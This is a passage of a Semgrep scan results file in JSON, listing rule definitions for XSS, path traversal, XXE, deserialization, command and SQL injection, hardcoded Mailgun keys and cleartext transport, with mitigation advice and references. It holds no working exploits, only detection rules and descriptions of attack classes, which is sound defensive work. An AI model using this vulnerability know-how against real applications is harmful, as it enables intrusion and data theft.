prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","id":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","name":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"help":{"markdown":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint","id":"java.micronaut.path-traversal.file-access-taint.file-access-taint","name":"java.micronaut.path-traversal.file-access-taint.file-access-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint.file-access-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","id":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","name":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mailgun API Key detected"},"help":{"markdown":"Mailgun API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Mailgun API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","id":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","name":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `$VM`."},"help":{"markdown":"Make sure that unverified user data can not reach `$VM`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `$VM`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection","id":"javascript.express.security.express-vm-injection.express-vm-injection","name":"javascript.express.security.express-vm-injection.express-vm-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm-injection.express-vm-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"help":{"markdown":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux)\n - [https://pkg.go.dev/net/http#ServeMux.Handler](https://pkg.go.dev/net/http#ServeMux.Handler)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","id":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","name":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","id":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","name":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as 